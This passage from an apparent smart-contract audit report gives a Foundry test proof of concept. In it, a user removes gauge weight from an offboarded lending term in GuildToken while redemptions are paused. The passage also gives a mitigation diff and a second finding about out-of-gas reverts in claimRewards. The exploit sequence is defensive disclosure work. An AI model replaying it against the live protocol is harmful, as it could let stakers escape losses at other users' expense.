        //@audit-info mint 2e18 guild token to carol
        guild.mint(carol, 2e18);
        vm.startPrank(carol);
        guild.incrementGauge(address(term), 1e18);
        guild.incrementGauge(address(term2), 1e18);
        vm.stopPrank();
        // prepare (1)
        guild.mint(bob, _QUORUM);
        vm.startPrank(bob);
        guild.delegate(bob);
        uint256 snapshotBlock = block.number;
        //@audit-info bob propose to offboard term
        offboarder.proposeOffboard(address(term));
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);

        //@audit-info term is able to be offboarded with enough votes.
        offboarder.supportOffboard(snapshotBlock, address(term));
        assertEq(offboarder.polls(snapshotBlock, address(term)), _QUORUM + 1);
        assertEq(offboarder.canOffboard(address(term)), true);

        assertEq(guild.isGauge(address(term)), true);
        assertEq(psm.redemptionsPaused(), false);
        assertEq(offboarder.nOffboardingsInProgress(), 0);

        offboarder.offboard(address(term));
        //@audit-info term is offboarded
        assertEq(guild.isGauge(address(term)), false);
        //@audit-info the redemption function is paused, no one can redeem their credit token
        assertEq(psm.redemptionsPaused(), true);
        assertEq(offboarder.nOffboardingsInProgress(), 1);
        vm.stopPrank();
        assertEq(guild.getUserGaugeWeight(carol, address(term)), 1e18);
        vm.prank(carol);
        //@audit-info however, carol can decrement their gauge weight on term
        guild.decrementGauge(address(term), 1e18);
        assertEq(guild.getUserGaugeWeight(carol, address(term)), 0);
    } 

Tools Used

Manual review

Recommended Mitigation Steps

Check if all loans have been closed in GuildToken#_decrementGaugeWeight():

    function _decrementGaugeWeight(
        address user,
        address gauge,
        uint256 weight
    ) internal override {
        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );
+       uint256 issuance = LendingTerm(gauge).issuance();
+       if (isDeprecatedGauge(gauge)) {
+           require(issuance == 0, "GuildToken: not all loans closed");
+       }
        // update the user profit index and claim rewards
        ProfitManager(profitManager).claimGaugeRewards(user, gauge);

        // check if gauge is currently using its allocated debt ceiling.
        // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
-       uint256 issuance = LendingTerm(gauge).issuance();
        if (issuance != 0) {
            uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
            require(
                issuance <= debtCeilingAfterDecrement,
                "GuildToken: debt ceiling used"
            );
        }

        super._decrementGaugeWeight(user, gauge, weight);
    }

Assessed type

Context

Judge has assessed an item in Issue #808 as 2 risk. The relevant finding follows:

[L‑01] claimRewards() could be reverted due to Out Of GAS

There's a possibility of SurplusGuildMinter#getRewards() failing due to running out of gas, caused by ProfitManager#claimRewards() because there's no maximum gauge limitation on SurplusGuildMinter. (canExceedMaxGauges for SurplusGuildMinter is set to true in deployment scripts)

To mitigate this, consider using ProfitManager#claimGaugeRewards() instead:

-       ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
+       ProfitManager(profitManager).claimGaugeRewards(address(this), term);